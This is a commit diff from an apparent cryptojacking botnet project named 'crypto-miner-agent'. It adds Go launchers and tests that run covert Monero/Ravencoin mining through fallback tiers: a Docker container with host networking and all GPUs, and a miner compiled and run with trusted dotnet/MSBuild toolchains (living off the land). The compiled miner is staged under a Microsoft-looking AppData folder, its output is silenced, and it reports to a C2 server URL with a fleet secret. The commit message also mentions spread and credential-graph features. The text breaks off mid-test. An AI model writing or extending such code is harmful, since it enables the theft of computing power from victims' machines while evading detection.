Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
258
agent/miner/container_launcher.go
Normal file
258
agent/miner/container_launcher.go
Normal file
@@ -0,0 +1,258 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const defaultMinerImage = "aetherforge/agent-worker:latest"
|
||||
|
||||
// containerExecCommand is exec.Command; tests override via SetContainerExecCommand.
|
||||
var containerExecCommand = exec.Command
|
||||
|
||||
// SetContainerExecCommand restores the default when fn is nil.
|
||||
func SetContainerExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
||||
if fn == nil {
|
||||
containerExecCommand = exec.Command
|
||||
return
|
||||
}
|
||||
containerExecCommand = fn
|
||||
}
|
||||
|
||||
// ContainerLauncher supervises an OCI workload that runs CPU mining isolated from the host agent.
|
||||
type ContainerLauncher struct {
|
||||
cfg config.RuntimeConfig
|
||||
runtime ContainerRuntimeInfo
|
||||
image string
|
||||
name string
|
||||
tarPath string // non-empty → docker load from tar, never registry pull
|
||||
readOnly bool // docker_load tier uses --read-only rootfs
|
||||
|
||||
mu sync.Mutex
|
||||
running bool
|
||||
cmd *exec.Cmd
|
||||
}
|
||||
|
||||
// NewContainerLauncher builds a launcher when a container runtime is available.
|
||||
func NewContainerLauncher(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) (*ContainerLauncher, error) {
|
||||
return newContainerLauncher(cfg, runtime, "", false)
|
||||
}
|
||||
|
||||
// NewContainerLauncherFromTar builds a docker_load tier launcher (local tar, no registry pull).
|
||||
func NewContainerLauncherFromTar(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo, tarPath string) (*ContainerLauncher, error) {
|
||||
tarPath = strings.TrimSpace(tarPath)
|
||||
if tarPath == "" {
|
||||
return nil, ErrNoImageTar
|
||||
}
|
||||
return newContainerLauncher(cfg, runtime, tarPath, true)
|
||||
}
|
||||
|
||||
func newContainerLauncher(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo, tarPath string, readOnly bool) (*ContainerLauncher, error) {
|
||||
if !runtime.Available || runtime.CLI == "" {
|
||||
return nil, fmt.Errorf("no container runtime (docker/podman not in PATH)")
|
||||
}
|
||||
image := strings.TrimSpace(os.Getenv("AETHERFORGE_MINER_IMAGE"))
|
||||
if image == "" {
|
||||
image = defaultMinerImage
|
||||
}
|
||||
name := containerName(cfg)
|
||||
return &ContainerLauncher{
|
||||
cfg: cfg,
|
||||
runtime: runtime,
|
||||
image: image,
|
||||
name: name,
|
||||
tarPath: tarPath,
|
||||
readOnly: readOnly,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func containerName(cfg config.RuntimeConfig) string {
|
||||
suffix := strings.TrimSpace(cfg.BuildID)
|
||||
if suffix == "" {
|
||||
suffix = "worker"
|
||||
}
|
||||
suffix = strings.Map(func(ch rune) rune {
|
||||
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') || ch == '-' {
|
||||
return ch
|
||||
}
|
||||
return '-'
|
||||
}, suffix)
|
||||
return "aetherforge-miner-" + suffix
|
||||
}
|
||||
|
||||
// Start launches the miner container (idempotent while already running).
|
||||
func (l *ContainerLauncher) Start() error {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
if l.running {
|
||||
return nil
|
||||
}
|
||||
|
||||
if l.tarPath != "" {
|
||||
loaded, err := l.loadImageFromTar()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if loaded != "" {
|
||||
l.image = loaded
|
||||
}
|
||||
}
|
||||
|
||||
args := l.buildRunArgs()
|
||||
cmd := containerExecCommand(l.runtime.CLI, args...)
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
if err := cmd.Start(); err != nil {
|
||||
return fmt.Errorf("%s run failed: %w", l.runtime.CLI, err)
|
||||
}
|
||||
l.cmd = cmd
|
||||
l.running = true
|
||||
mode := "registry"
|
||||
if l.tarPath != "" {
|
||||
mode = "docker_load"
|
||||
}
|
||||
log.Printf("[container] started %s (%s) image=%s mode=%s wallet=%s", l.name, l.runtime.CLI, l.image, mode, l.cfg.Wallet)
|
||||
go l.waitExit()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l *ContainerLauncher) waitExit() {
|
||||
if l.cmd == nil {
|
||||
return
|
||||
}
|
||||
err := l.cmd.Wait()
|
||||
l.mu.Lock()
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
l.mu.Unlock()
|
||||
if err != nil {
|
||||
log.Printf("[container] miner container exited: %v — host will fall back to in-process mining if configured", err)
|
||||
} else {
|
||||
log.Printf("[container] miner container stopped")
|
||||
}
|
||||
}
|
||||
|
||||
// Stop removes the running container.
|
||||
func (l *ContainerLauncher) Stop() {
|
||||
l.mu.Lock()
|
||||
running := l.running
|
||||
l.mu.Unlock()
|
||||
if !running {
|
||||
return
|
||||
}
|
||||
_ = containerExecCommand(l.runtime.CLI, "rm", "-f", l.name).Run()
|
||||
l.mu.Lock()
|
||||
if l.cmd != nil && l.cmd.Process != nil {
|
||||
_ = l.cmd.Process.Kill()
|
||||
}
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
l.mu.Unlock()
|
||||
}
|
||||
|
||||
// Image returns the OCI image reference used for the miner workload.
|
||||
func (l *ContainerLauncher) Image() string {
|
||||
return l.image
|
||||
}
|
||||
|
||||
// Running reports whether the launcher believes the container is active.
|
||||
func (l *ContainerLauncher) Running() bool {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
return l.running
|
||||
}
|
||||
|
||||
func (l *ContainerLauncher) loadImageFromTar() (string, error) {
|
||||
cmd := containerExecCommand(l.runtime.CLI, "load", "-i", l.tarPath)
|
||||
var buf bytes.Buffer
|
||||
cmd.Stdout = &buf
|
||||
cmd.Stderr = &buf
|
||||
if err := cmd.Run(); err != nil {
|
||||
return "", fmt.Errorf("%s load failed: %w (%s)", l.runtime.CLI, err, strings.TrimSpace(buf.String()))
|
||||
}
|
||||
for _, line := range strings.Split(buf.String(), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if after, ok := strings.CutPrefix(line, "Loaded image:"); ok {
|
||||
return strings.TrimSpace(after), nil
|
||||
}
|
||||
if after, ok := strings.CutPrefix(line, "Loaded image ID:"); ok {
|
||||
return strings.TrimSpace(after), nil
|
||||
}
|
||||
}
|
||||
return "", nil
|
||||
}
|
||||
|
||||
func (l *ContainerLauncher) buildRunArgs() []string {
|
||||
args := []string{
|
||||
"run", "--rm", "-d",
|
||||
"--name", l.name,
|
||||
}
|
||||
|
||||
if l.tarPath != "" {
|
||||
args = append(args, "--pull=never")
|
||||
}
|
||||
|
||||
if l.readOnly {
|
||||
args = append(args, "--read-only", "--tmpfs", "/tmp")
|
||||
}
|
||||
|
||||
if runtime.GOOS == "linux" {
|
||||
args = append(args, "--network", "host")
|
||||
}
|
||||
if l.cfg.GPUEnabled {
|
||||
args = append(args, "--gpus", "all")
|
||||
}
|
||||
|
||||
env := l.containerEnv()
|
||||
for _, e := range env {
|
||||
args = append(args, "-e", e)
|
||||
}
|
||||
|
||||
args = append(args, l.image)
|
||||
return args
|
||||
}
|
||||
|
||||
func (l *ContainerLauncher) containerEnv() []string {
|
||||
threads := l.cfg.EffectiveThreads()
|
||||
pairs := map[string]string{
|
||||
"AETHERFORGE_SERVER_URL": l.cfg.ServerURL,
|
||||
"AETHERFORGE_WALLET": l.cfg.Wallet,
|
||||
"AETHERFORGE_WORKER": l.cfg.WorkerName,
|
||||
"AETHERFORGE_POOL_HOST": l.cfg.PoolHost,
|
||||
"AETHERFORGE_POOL_PORT": fmt.Sprintf("%d", l.cfg.PoolPort),
|
||||
"AETHERFORGE_POOL_TLS": boolEnv(l.cfg.PoolTLS),
|
||||
"AETHERFORGE_POOL_PASS": l.cfg.PoolPass,
|
||||
"AETHERFORGE_THREADS": fmt.Sprintf("%d", threads),
|
||||
"AETHERFORGE_MINER_EXECUTION": ExecutionInProcess,
|
||||
"AETHERFORGE_FLEET_SECRET": l.cfg.FleetSecret,
|
||||
"MINER_LOG_FILE": "/tmp/miner.log",
|
||||
}
|
||||
if l.cfg.RVNWallet != "" {
|
||||
pairs["AETHERFORGE_RVN_WALLET"] = l.cfg.RVNWallet
|
||||
pairs["AETHERFORGE_RVN_POOL_HOST"] = l.cfg.RVNPoolHost
|
||||
pairs["AETHERFORGE_RVN_POOL_PORT"] = fmt.Sprintf("%d", l.cfg.RVNPoolPort)
|
||||
pairs["AETHERFORGE_GPU_ENABLED"] = boolEnv(l.cfg.GPUEnabled)
|
||||
}
|
||||
out := make([]string, 0, len(pairs))
|
||||
for k, v := range pairs {
|
||||
if v != "" {
|
||||
out = append(out, k+"="+v)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func boolEnv(v bool) string {
|
||||
if v {
|
||||
return "1"
|
||||
}
|
||||
return "0"
|
||||
}
|
||||
236
agent/miner/container_launcher_test.go
Normal file
236
agent/miner/container_launcher_test.go
Normal file
@@ -0,0 +1,236 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func longRunningTestCmd() *exec.Cmd {
|
||||
if runtime.GOOS == "windows" {
|
||||
return exec.Command("ping", "-n", "600", "127.0.0.1")
|
||||
}
|
||||
return exec.Command("sleep", "600")
|
||||
}
|
||||
|
||||
func quickExitTestCmd() *exec.Cmd {
|
||||
if runtime.GOOS == "windows" {
|
||||
return exec.Command("cmd", "/c", "exit", "0")
|
||||
}
|
||||
return exec.Command("true")
|
||||
}
|
||||
|
||||
func dockerEnvFromArgs(args []string) map[string]string {
|
||||
out := make(map[string]string)
|
||||
for i := 0; i < len(args); i++ {
|
||||
if args[i] != "-e" || i+1 >= len(args) {
|
||||
continue
|
||||
}
|
||||
i++
|
||||
k, v, ok := strings.Cut(args[i], "=")
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
out[k] = v
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func TestContainerLauncherStartWithFakeRuntime(t *testing.T) {
|
||||
const customImage = "registry.example/aether-worker:test"
|
||||
t.Setenv("AETHERFORGE_MINER_IMAGE", customImage)
|
||||
|
||||
var gotCLI string
|
||||
var gotArgs []string
|
||||
SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
if len(args) > 0 && args[0] == "rm" {
|
||||
return quickExitTestCmd()
|
||||
}
|
||||
gotCLI = name
|
||||
gotArgs = append([]string(nil), args...)
|
||||
return longRunningTestCmd()
|
||||
})
|
||||
defer SetContainerExecCommand(nil)
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
BuildID: "test-build",
|
||||
ServerURL: "http://c2.example",
|
||||
Wallet: "XMR:wallet",
|
||||
WorkerName: "worker-1",
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 3333,
|
||||
PoolTLS: true,
|
||||
PoolPass: "x",
|
||||
ThreadMode: "fixed",
|
||||
Threads: 4,
|
||||
FleetSecret: "fleet-secret",
|
||||
},
|
||||
}
|
||||
rt := ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0.0"}
|
||||
|
||||
launcher, err := NewContainerLauncher(cfg, rt)
|
||||
if err != nil {
|
||||
t.Fatalf("NewContainerLauncher: %v", err)
|
||||
}
|
||||
if launcher.Image() != customImage {
|
||||
t.Fatalf("Image()=%q want %q", launcher.Image(), customImage)
|
||||
}
|
||||
|
||||
if err := launcher.Start(); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
defer launcher.Stop()
|
||||
|
||||
if gotCLI != "docker" {
|
||||
t.Fatalf("runtime CLI=%q want docker", gotCLI)
|
||||
}
|
||||
|
||||
wantPrefix := []string{"run", "--rm", "-d", "--name", "aetherforge-miner-test-build"}
|
||||
if len(gotArgs) < len(wantPrefix) {
|
||||
t.Fatalf("args=%v too short, want prefix %v", gotArgs, wantPrefix)
|
||||
}
|
||||
for i, w := range wantPrefix {
|
||||
if gotArgs[i] != w {
|
||||
t.Fatalf("args[%d]=%q want %q full=%v", i, gotArgs[i], w, gotArgs)
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS == "linux" {
|
||||
if !containsSeq(gotArgs, "--network", "host") {
|
||||
t.Fatalf("linux args missing --network host: %v", gotArgs)
|
||||
}
|
||||
}
|
||||
|
||||
if gotArgs[len(gotArgs)-1] != customImage {
|
||||
t.Fatalf("image arg=%q want %q", gotArgs[len(gotArgs)-1], customImage)
|
||||
}
|
||||
|
||||
env := dockerEnvFromArgs(gotArgs)
|
||||
wantEnv := map[string]string{
|
||||
"AETHERFORGE_SERVER_URL": "http://c2.example",
|
||||
"AETHERFORGE_WALLET": "XMR:wallet",
|
||||
"AETHERFORGE_WORKER": "worker-1",
|
||||
"AETHERFORGE_POOL_HOST": "pool.example.com",
|
||||
"AETHERFORGE_POOL_PORT": "3333",
|
||||
"AETHERFORGE_POOL_TLS": "1",
|
||||
"AETHERFORGE_POOL_PASS": "x",
|
||||
"AETHERFORGE_THREADS": "4",
|
||||
"AETHERFORGE_MINER_EXECUTION": ExecutionInProcess,
|
||||
"AETHERFORGE_FLEET_SECRET": "fleet-secret",
|
||||
"MINER_LOG_FILE": "/tmp/miner.log",
|
||||
}
|
||||
for k, want := range wantEnv {
|
||||
if got := env[k]; got != want {
|
||||
t.Fatalf("env[%s]=%q want %q", k, got, want)
|
||||
}
|
||||
}
|
||||
|
||||
if !launcher.Running() {
|
||||
t.Fatal("Running() false after Start")
|
||||
}
|
||||
|
||||
if err := launcher.Start(); err != nil {
|
||||
t.Fatalf("second Start: %v", err)
|
||||
}
|
||||
if !launcher.Running() {
|
||||
t.Fatal("Running() false after idempotent Start")
|
||||
}
|
||||
}
|
||||
|
||||
func TestContainerLauncherDockerLoadFromTar(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
tarPath := filepath.Join(dir, "worker.tar")
|
||||
if err := os.WriteFile(tarPath, []byte("fake"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var calls [][]string
|
||||
SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
copied := append([]string{name}, args...)
|
||||
calls = append(calls, copied)
|
||||
if len(args) > 0 && args[0] == "load" {
|
||||
if runtime.GOOS == "windows" {
|
||||
return exec.Command("cmd", "/c", "echo Loaded image: aetherforge/agent-worker:tar")
|
||||
}
|
||||
return exec.Command("sh", "-c", "echo 'Loaded image: aetherforge/agent-worker:tar'")
|
||||
}
|
||||
if len(args) > 0 && args[0] == "rm" {
|
||||
return quickExitTestCmd()
|
||||
}
|
||||
return longRunningTestCmd()
|
||||
})
|
||||
defer SetContainerExecCommand(nil)
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
BuildID: "tar-test",
|
||||
Wallet: "XMR:wallet",
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 3333,
|
||||
},
|
||||
}
|
||||
rt := ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||
|
||||
launcher, err := NewContainerLauncherFromTar(cfg, rt, tarPath)
|
||||
if err != nil {
|
||||
t.Fatalf("NewContainerLauncherFromTar: %v", err)
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
defer launcher.Stop()
|
||||
|
||||
foundLoad := false
|
||||
foundNeverPull := false
|
||||
foundReadOnly := false
|
||||
for _, call := range calls {
|
||||
if len(call) >= 3 && call[1] == "load" && call[3] == tarPath {
|
||||
foundLoad = true
|
||||
}
|
||||
for i, arg := range call {
|
||||
if arg == "--pull=never" {
|
||||
foundNeverPull = true
|
||||
}
|
||||
if arg == "--read-only" {
|
||||
foundReadOnly = true
|
||||
}
|
||||
if arg == "--gpus" && i+1 < len(call) && call[i+1] == "all" {
|
||||
// gpu flag present when GPU enabled — optional in this cfg
|
||||
}
|
||||
}
|
||||
}
|
||||
if !foundLoad {
|
||||
t.Fatalf("docker load not invoked, calls=%v", calls)
|
||||
}
|
||||
if !foundNeverPull {
|
||||
t.Fatalf("expected --pull=never, calls=%v", calls)
|
||||
}
|
||||
if !foundReadOnly {
|
||||
t.Fatalf("expected --read-only, calls=%v", calls)
|
||||
}
|
||||
}
|
||||
|
||||
func containsSeq(args []string, seq ...string) bool {
|
||||
if len(seq) == 0 || len(args) < len(seq) {
|
||||
return false
|
||||
}
|
||||
for i := 0; i <= len(args)-len(seq); i++ {
|
||||
match := true
|
||||
for j := range seq {
|
||||
if args[i+j] != seq[j] {
|
||||
match = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if match {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
236
agent/miner/dotnet_launcher.go
Normal file
236
agent/miner/dotnet_launcher.go
Normal file
@@ -0,0 +1,236 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// dotnetBin and msbuildBin are toolchain paths; tests override via SetDotnetBinPath / SetMSBuildBinPath.
|
||||
var (
|
||||
dotnetBin = "dotnet"
|
||||
msbuildBin = "MSBuild"
|
||||
dotnetExecCommand = exec.Command
|
||||
)
|
||||
|
||||
// SetDotnetBinPath overrides the dotnet CLI binary (restore with "").
|
||||
func SetDotnetBinPath(path string) {
|
||||
if strings.TrimSpace(path) == "" {
|
||||
dotnetBin = "dotnet"
|
||||
return
|
||||
}
|
||||
dotnetBin = path
|
||||
}
|
||||
|
||||
// SetMSBuildBinPath overrides the MSBuild binary (restore with "").
|
||||
func SetMSBuildBinPath(path string) {
|
||||
if strings.TrimSpace(path) == "" {
|
||||
msbuildBin = "MSBuild"
|
||||
return
|
||||
}
|
||||
msbuildBin = path
|
||||
}
|
||||
|
||||
// SetDotnetExecCommand restores default when fn is nil.
|
||||
func SetDotnetExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
||||
if fn == nil {
|
||||
dotnetExecCommand = exec.Command
|
||||
return
|
||||
}
|
||||
dotnetExecCommand = fn
|
||||
}
|
||||
|
||||
// DotnetLauncher compiles and runs a minimal Stratum stub via trusted dotnet/msbuild (LOTL).
|
||||
type DotnetLauncher struct {
|
||||
cfg config.RuntimeConfig
|
||||
workDir string
|
||||
tool string // "dotnet" or "msbuild"
|
||||
|
||||
mu sync.Mutex
|
||||
running bool
|
||||
cmd *exec.Cmd
|
||||
}
|
||||
|
||||
// NewDotnetLauncher validates platform, pool, and toolchain availability.
|
||||
func NewDotnetLauncher(cfg config.RuntimeConfig) (*DotnetLauncher, error) {
|
||||
if runtime.GOOS != "windows" {
|
||||
return nil, fmt.Errorf("dotnet tier requires Windows")
|
||||
}
|
||||
if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 {
|
||||
return nil, fmt.Errorf("pool host/port required for dotnet stratum tier")
|
||||
}
|
||||
if strings.TrimSpace(cfg.Wallet) == "" {
|
||||
return nil, fmt.Errorf("wallet required for dotnet stratum tier")
|
||||
}
|
||||
tool, err := resolveDotnetToolchain()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
workDir, err := lotlWorkDir(cfg, "Stratum")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &DotnetLauncher{cfg: cfg, workDir: workDir, tool: tool}, nil
|
||||
}
|
||||
|
||||
func resolveDotnetToolchain() (string, error) {
|
||||
if _, err := exec.LookPath(dotnetBin); err == nil {
|
||||
return "dotnet", nil
|
||||
}
|
||||
if _, err := exec.LookPath(msbuildBin); err == nil {
|
||||
return "msbuild", nil
|
||||
}
|
||||
return "", fmt.Errorf("neither dotnet nor MSBuild found in PATH")
|
||||
}
|
||||
|
||||
// WorkDir returns the LOTL compile output directory.
|
||||
func (l *DotnetLauncher) WorkDir() string {
|
||||
return l.workDir
|
||||
}
|
||||
|
||||
// Toolchain reports dotnet or msbuild.
|
||||
func (l *DotnetLauncher) Toolchain() string {
|
||||
return l.tool
|
||||
}
|
||||
|
||||
// Start materializes source under %LOCALAPPDATA%\Microsoft\... and runs compile + execute.
|
||||
func (l *DotnetLauncher) Start() error {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
if l.running {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err := l.materializeProject(); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := l.compile(); err != nil {
|
||||
return err
|
||||
}
|
||||
cmd, err := l.launchMiner()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
l.cmd = cmd
|
||||
l.running = true
|
||||
log.Printf("[dotnet-tier] started toolchain=%s dir=%s wallet=%s pool=%s:%d",
|
||||
l.tool, l.workDir, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort)
|
||||
go l.waitExit()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l *DotnetLauncher) materializeProject() error {
|
||||
if err := os.MkdirAll(l.workDir, 0o755); err != nil {
|
||||
return fmt.Errorf("mkdir workdir: %w", err)
|
||||
}
|
||||
csPath := filepath.Join(l.workDir, "Program.cs")
|
||||
if err := os.WriteFile(csPath, []byte(renderStratumCSharp(l.cfg)), 0o644); err != nil {
|
||||
return fmt.Errorf("write Program.cs: %w", err)
|
||||
}
|
||||
projPath := filepath.Join(l.workDir, "StratumMiner.csproj")
|
||||
if err := os.WriteFile(projPath, []byte(stratumCsprojTemplate), 0o644); err != nil {
|
||||
return fmt.Errorf("write csproj: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l *DotnetLauncher) compile() error {
|
||||
switch l.tool {
|
||||
case "dotnet":
|
||||
cmd := dotnetExecCommand(dotnetBin, "build", l.workDir, "-c", "Release", "-o", filepath.Join(l.workDir, "out"), "-v", "q")
|
||||
cmd.Dir = l.workDir
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("dotnet build failed: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return nil
|
||||
case "msbuild":
|
||||
proj := filepath.Join(l.workDir, "StratumMiner.csproj")
|
||||
cmd := dotnetExecCommand(msbuildBin, proj, "/p:Configuration=Release", "/v:q")
|
||||
cmd.Dir = l.workDir
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("msbuild failed: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return nil
|
||||
default:
|
||||
return fmt.Errorf("unknown toolchain %q", l.tool)
|
||||
}
|
||||
}
|
||||
|
||||
func (l *DotnetLauncher) launchMiner() (*exec.Cmd, error) {
|
||||
switch l.tool {
|
||||
case "dotnet":
|
||||
cmd := dotnetExecCommand(dotnetBin, "run", "--project", l.workDir, "-c", "Release", "--no-build")
|
||||
cmd.Dir = l.workDir
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
if err := cmd.Start(); err != nil {
|
||||
return nil, fmt.Errorf("dotnet run failed: %w", err)
|
||||
}
|
||||
return cmd, nil
|
||||
case "msbuild":
|
||||
exe := filepath.Join(l.workDir, "bin", "Release", "net8.0", "AetherForgeStratum.exe")
|
||||
if _, err := os.Stat(exe); err != nil {
|
||||
exe = filepath.Join(l.workDir, "out", "AetherForgeStratum.exe")
|
||||
}
|
||||
cmd := dotnetExecCommand(exe)
|
||||
cmd.Dir = l.workDir
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
if err := cmd.Start(); err != nil {
|
||||
return nil, fmt.Errorf("run compiled exe failed: %w", err)
|
||||
}
|
||||
return cmd, nil
|
||||
default:
|
||||
return nil, fmt.Errorf("unknown toolchain %q", l.tool)
|
||||
}
|
||||
}
|
||||
|
||||
func (l *DotnetLauncher) waitExit() {
|
||||
if l.cmd == nil {
|
||||
return
|
||||
}
|
||||
err := l.cmd.Wait()
|
||||
l.mu.Lock()
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
l.mu.Unlock()
|
||||
if err != nil {
|
||||
log.Printf("[dotnet-tier] miner process exited: %v — chain will advance", err)
|
||||
} else {
|
||||
log.Printf("[dotnet-tier] miner process stopped")
|
||||
}
|
||||
}
|
||||
|
||||
// Stop terminates the running LOTL miner process.
|
||||
func (l *DotnetLauncher) Stop() {
|
||||
l.mu.Lock()
|
||||
cmd := l.cmd
|
||||
running := l.running
|
||||
l.mu.Unlock()
|
||||
if !running || cmd == nil {
|
||||
return
|
||||
}
|
||||
if cmd.Process != nil {
|
||||
_ = cmd.Process.Kill()
|
||||
}
|
||||
l.mu.Lock()
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
l.mu.Unlock()
|
||||
}
|
||||
|
||||
// Running reports whether the LOTL miner is active.
|
||||
func (l *DotnetLauncher) Running() bool {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
return l.running
|
||||
}
|
||||
151
agent/miner/dotnet_launcher_test.go
Normal file
151
agent/miner/dotnet_launcher_test.go
Normal file
@@ -0,0 +1,151 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func fakeDotnetRecorder(t *testing.T) string {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
if runtime.GOOS == "windows" {
|
||||
bat := filepath.Join(dir, "fake-dotnet.cmd")
|
||||
body := `@echo off
|
||||
if "%1"=="build" exit /b 0
|
||||
if "%1"=="run" (
|
||||
ping -n 3 127.0.0.1 >nul
|
||||
exit /b 0
|
||||
)
|
||||
exit /b 0
|
||||
`
|
||||
if err := os.WriteFile(bat, []byte(body), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return bat
|
||||
}
|
||||
sh := filepath.Join(dir, "fake-dotnet.sh")
|
||||
body := `#!/bin/sh
|
||||
case "$1" in
|
||||
build) exit 0 ;;
|
||||
run) sleep 1 ;;
|
||||
esac
|
||||
exit 0
|
||||
`
|
||||
if err := os.WriteFile(sh, []byte(body), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return sh
|
||||
}
|
||||
|
||||
func TestDotnetLauncherMaterializeAndStart(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("dotnet tier is Windows-only")
|
||||
}
|
||||
|
||||
bin := fakeDotnetRecorder(t)
|
||||
SetDotnetBinPath(bin)
|
||||
SetDotnetExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
return exec.Command(name, args...)
|
||||
})
|
||||
defer func() {
|
||||
SetDotnetBinPath("")
|
||||
SetDotnetExecCommand(nil)
|
||||
}()
|
||||
|
||||
t.Setenv("LOCALAPPDATA", t.TempDir())
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
BuildID: "dn-test",
|
||||
Wallet: "XMR:wallet456",
|
||||
WorkerName: "worker-dn",
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 4444,
|
||||
PoolTLS: true,
|
||||
PoolPass: "secret",
|
||||
},
|
||||
}
|
||||
|
||||
launcher, err := NewDotnetLauncher(cfg)
|
||||
if err != nil {
|
||||
t.Fatalf("NewDotnetLauncher: %v", err)
|
||||
}
|
||||
if launcher.Toolchain() != "dotnet" {
|
||||
t.Fatalf("toolchain=%q want dotnet", launcher.Toolchain())
|
||||
}
|
||||
|
||||
if err := launcher.Start(); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
defer launcher.Stop()
|
||||
|
||||
cs, err := os.ReadFile(filepath.Join(launcher.WorkDir(), "Program.cs"))
|
||||
if err != nil {
|
||||
t.Fatalf("read Program.cs: %v", err)
|
||||
}
|
||||
text := string(cs)
|
||||
if !strings.Contains(text, "XMR:wallet456") {
|
||||
t.Fatalf("Program.cs missing wallet: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "pool.example.com") {
|
||||
t.Fatalf("Program.cs missing pool host: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "PoolTLS = true") {
|
||||
t.Fatalf("Program.cs missing TLS flag: %s", text)
|
||||
}
|
||||
|
||||
if !strings.Contains(launcher.WorkDir(), filepath.Join("Microsoft", "NET", "AetherForge")) {
|
||||
t.Fatalf("workdir not under Microsoft LOTL path: %s", launcher.WorkDir())
|
||||
}
|
||||
|
||||
if !launcher.Running() {
|
||||
t.Fatal("Running() false after Start")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultFallbackChainPowerShellMode(t *testing.T) {
|
||||
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: ExecutionPowerShell,
|
||||
PoolHost: "p",
|
||||
Wallet: "w",
|
||||
},
|
||||
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
|
||||
if chain[0] != MethodPowerShell {
|
||||
